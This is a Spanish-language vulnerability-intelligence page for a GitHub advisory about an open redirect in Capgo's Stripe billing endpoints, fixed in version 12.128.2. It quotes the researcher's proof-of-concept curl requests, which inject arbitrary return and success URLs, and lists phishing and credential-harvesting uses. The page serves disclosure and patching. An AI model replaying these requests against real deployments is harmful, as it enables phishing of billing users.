llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · capgo

GHSA-GRC7-98PF-H8HQ

Unvalidated redirect URLs in Stripe billing flows (open redirect via callbackUrl / successUrl / cancelUrl)

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión12.128.2
Exposición262 dDesde la divulgación, 3 mar 2026, 8:32 a. m.
Detección260 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
3 mar 26
18 nov 26
20 nov 26
3 mar 26
8 may 26
12 jul 26
16 sept 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-GRC7-98PF-H8HQ divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The billing endpoints that create Stripe Billing Portal and Stripe Checkout sessions accept user-controlled redirect URLs and pass them directly to Stripe (return_url, success_url, cancel_url) without any allowlist validation. This enables open redirects from a trusted Capgo/Stripe billing context to attacker-controlled external domains, which can be used for phishing and social engineering.

### Details
Two endpoints are affected:

  1. Stripe Billing Portal
  • Endpoint: POST /functions/v1/private/stripe_portal
  • Input: callbackUrl
  • Sink: Stripe Billing Portal return_url
  • Code:

supabase/functions/_backend/private/stripe_portal.ts → createPortal(..., body.callbackUrl)
supabase/functions/_backend/utils/stripe.ts → billingPortal.sessions.create({ return_url: callbackUrl })

  1. Stripe Checkout
  • Endpoint: POST /functions/v1/private/stripe_checkout
  • Inputs: successUrl, cancelUrl
  • Sink: Stripe Checkout success_url, cancel_url
  • Code:

supabase/functions/_backend/private/stripe_checkout.ts → createCheckout(..., body.successUrl, body.cancelUrl, ...)
supabase/functions/_backend/utils/stripe.ts → checkout.sessions.create({ success_url: \${successUrl}?success=true`, cancel_url: cancelUrl })`

Although the UI typically sends same-origin URLs (e.g., window.location.href), the backend accepts arbitrary external URLs.

### PoC
Precondition: authenticated user with org.update_billing permission for the org.
PoC 1 - Billing Portal (callbackUrl)

SUPA="https://xvwzpoazmxkqosrdewyv.supabase.co"
ORG_ID="redacted"
CB="https://example.com/capgo-portal-return"

echo "== Request ==" && \
echo "POST $SUPA/functions/v1/private/stripe_portal" && \
echo "authorization: Bearer <redacted>" && \
echo "Body: {\"orgId\":\"$ORG_ID\",\"callbackUrl\":\"$CB\"}" && \
echo && \
echo "== Response ==" && \
curl -sk -i -X POST "$SUPA/functions/v1/private/stripe_portal" \
  -H "authorization: Bearer $JWT_RAW" \
  -H "content-type: application/json" \
  --data "{\"orgId\":\"$ORG_ID\",\"callbackUrl\":\"$CB\"}" \
| sed -n '1,90p'

_Trigger: Open returned pay.capgo.app/p/session/... URL → click “Return to Capgo” → browser redirects to https://example.com/capgo-portal-return._
<img width="891" height="417" alt="image" src="https://github.com/user-attachments/assets/f218a5ce-56ba-4941-9e75-d1043060cb93" />

PoC 2 - Checkout (successUrl / cancelUrl)

SUPA="https://xvwzpoazmxkqosrdewyv.supabase.co"
ORG_ID="redacted"
PROD="prod_LQIzwwVu6oMmAz"

echo "== Request ==" && \
echo "POST $SUPA/functions/v1/private/stripe_checkout" && \
echo "authorization: Bearer <redacted>" && \
echo "Body: {\"orgId\":\"$ORG_ID\",\"priceId\":\"$PROD\",\"recurrence\":\"month\",\"successUrl\":\"https://example.com/checkout-success\",\"cancelUrl\":\"https://example.com/checkout-cancel\"}" && \
echo && \
echo "== Response ==" && \
curl -sk -i -X POST "$SUPA/functions/v1/private/stripe_checkout" \
  -H "authorization: Bearer $JWT_RAW" \
  -H "content-type: application/json" \
  --data "{\"orgId\":\"$ORG_ID\",\"priceId\":\"$PROD\",\"recurrence\":\"month\",\"successUrl\":\"https://example.com/checkout-success\",\"cancelUrl\":\"https://example.com/checkout-cancel\"}" \
| sed -n '1,110p'

Trigger: Open returned pay.capgo.app/c/pay/cs_live_... URL:
- Cancel/back action redirects to https://example.com/checkout-cancel
- Success redirects to https://example.com/checkout-success?success=true
<img width="881" height="452" alt="image" src="https://github.com/user-attachments/assets/f03938ea-cc4d-4d80-9a61-d9b1fd927d02" />

Impact
  • Open redirect from a trusted billing/payment flow (Stripe hosted pages).
  • Enables high-trust phishing: users expect to return to Capgo after billing, but are redirected to attacker-controlled domains.
  • Can be used for credential harvesting (“session expired, login again”), payment fraud prompts, or malware delivery.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
capgo< 12.128.2
12.128.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmcapgo
Corregida 12.128.2 — —
Versiones corregidas12.128.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Cap-go/capgo.app/security/advisories/GHSA-grc7-98pf-h8hq

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.